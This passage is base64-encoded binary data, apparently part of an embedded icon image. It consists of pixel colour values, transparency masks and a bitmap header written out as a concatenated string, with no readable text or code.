TxxLS0tOS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS8xLS0sBAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLT0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLuQAAAADRl0+b0ZdP/9GXT//Rl0//0ZdP/9GXT1TRl09U0ZdP/9GX + T//Rl0//0ZdP/9GXT5pLS0sAS0tLx0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLTgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLAUtL + S85LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0sz0ZdPJdGXT/zRl0//0ZdP/9GX + T//Rl09U0ZdPVNGXT//Rl0//0ZdP/9GXT/zRl08kS0tLQktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS81LS0sBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLS1BLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLqgAA + AADRl09P0ZdPY9GXT2PRl09j0ZdPIdGXTyHRl09j0ZdPY9GXT2PRl09PTU1NAEtLS7tLS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwFLS0vPS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS+lLS0sCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SwlLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS85LS0sBAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tRS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0t63c1uAt3NbrLdzW7I3c1uyN3NbsjdzW7I3c1uyN3N + bsjdzW7I3c1uyN3NbrLdzW4CS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sBS0tL0EtL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vtS0tLDt3NblfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uWEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS89LS0sBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLUktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLfN3N + bgLdzW7T3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbtXdzW4CS0tLjEtL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLUQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLAktLS9FLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL7ktLSw/dzW5T3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1uWEtLSxdLS0v1S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S9BLS0sBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLS1RLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS3/dzW4B3c1u0N3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbtXdzW4CS0tLjUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLUwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwJLS0vSS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/BLS0sQ3c1uUN3Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uV0tLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9FLS0sCAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0tVS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0uC3c1uAd3N + bszdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + btTdzW4CS0tLjktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLVAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABLS0sCS0tL00tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0vxS0tLEt3NbkzdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1uV0tLSxhLS0v1S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS9JLS0sCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLVktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLhN3NbgDdzW7J3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbtTdzW4CS0tLjktLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLVQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLAktLS9RLS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL8ktLSxPdzW5I3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uVktL + SxlLS0v2S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9NLS0sCAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S1dLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4fdzW4A3c1uxd3N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93NbtPdzW4CS0tLj0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLVgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSwJLS0vVS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/NLS0sV3c1uRN3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uVUtLSxlLS0v2S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9RLS0sCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tYS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0uK3c1uAN3NbsLdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbtPdzW4CS0tLkEtL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLVwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sDS0tL1ktLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFt3NbkDdzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1uVUtLSxpLS0v3S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S9VLS0sCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLWktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjN3NbgDdzW6+3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbtLdzW4CS0tLkUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLA0tLS9dLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL9UtL + SxjdzW483c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uVEtLSxpLS0v3S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9ZLS0sDAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLS1tLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS4/gz28A3c1uut3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + btLdzW4CS0tLkktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLWgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwNLS0vYS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/ZLS0sZ3c1uOd3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1uVEtLSxtLS0v3S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS9dLS0sDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tcS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0uSAAAAAN3NbrbdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbtHdzW4CS0tLk0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLWwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sDS0tL2UtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9BLS0tsS0tLDd3N + bgHdzW5n3c1us93NbvXdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u+N3NbrvdzW5w3c1uCEtL + Sw1LS0tsS0tL0UtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9hLS0sDAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLXUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vyS0tLmktL + SzZLS0sAAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4J3c1uS93NbpbdzW7h3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbubdzW6c3c1uUd3N + bg0AAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwBLS0s2S0tLm0tLS/JLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLXAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLBEtLS9pLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S8lLS0tkS0tLDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uAd3N + bi/dzW563c1uxt3NbvzdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv3dzW7J3c1uft3N + bjPdzW4CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sNS0tLZUtL + S8lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9lLS0sDAAAAAAAAAAAAAAAAAAAAAEtLS19LS0v/S0tL/0tL + S/9LS0vuS0tLk0tLSy5LS0sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4V3c1uXt3NbqndzW7v3c1u/93Nbv/dzW7w3c1uq93N + bmDdzW4XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABLS0sAS0tLL0tLS5NLS0vuS0tL/0tLS/9LS0v/S0tLXgAAAAAAAAAAAAAAAEtL + SwRLS0vbS0tL/ktLS8FLS0tdS0tLCQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uBd3N + bkHdzW5B3c1uBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCUtLS11LS0vBS0tL/ktL + S9pLS0sEAAAAAAAAAABLS0tKS0tLi0tLSycAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSyhLS0uLS0tLSQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP// + //////////////////////////////////5//////////D/////////4H/////////gf////////8A// + ///////wD////////+AH////////4Af////////AA////////8AD////////gAH///////+AAf////// + /wAA////////AAD///////4AAH///////gAAf//////8AAA///////wAAD//////+AAAH//////4AAAf + //////gAAB//////8AAAD//////gAAAH/////8AAAAf/////wAAAA/////+AAAAB/////4AAAAH///// + AAAAAP////8AgAAA/////gAAAAB////+AEACAH////wAAAAAP////AAgBAA////4AB/4AB////gAAAAA + H///8AAAAAAP///wAAAAAA///+AAAAAAB///4AAAAAAH///AAAAAAAP//8AAAAAAA///gAAAAAAB//+A + AgAAAAH//wAAAAAAAP//AAQAAAAA//4AAAAAAAB//gAIAAAAAH/8AAAAAAAAP/wAEAAAAAA/+AAAAAAA + AB/4ACAAAAAAH/AAAAAAAAAP8ABAAAAAAA/gAAAAAAAAB+AD8AAAD8AHwA/+AAB/8APAf//gB//+A4H/ + //w///+Bj/////////H/////////////////////KAAAAIAAAAAAAQAAAQAgAAAAAAAAAAEAIy4AACMu + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 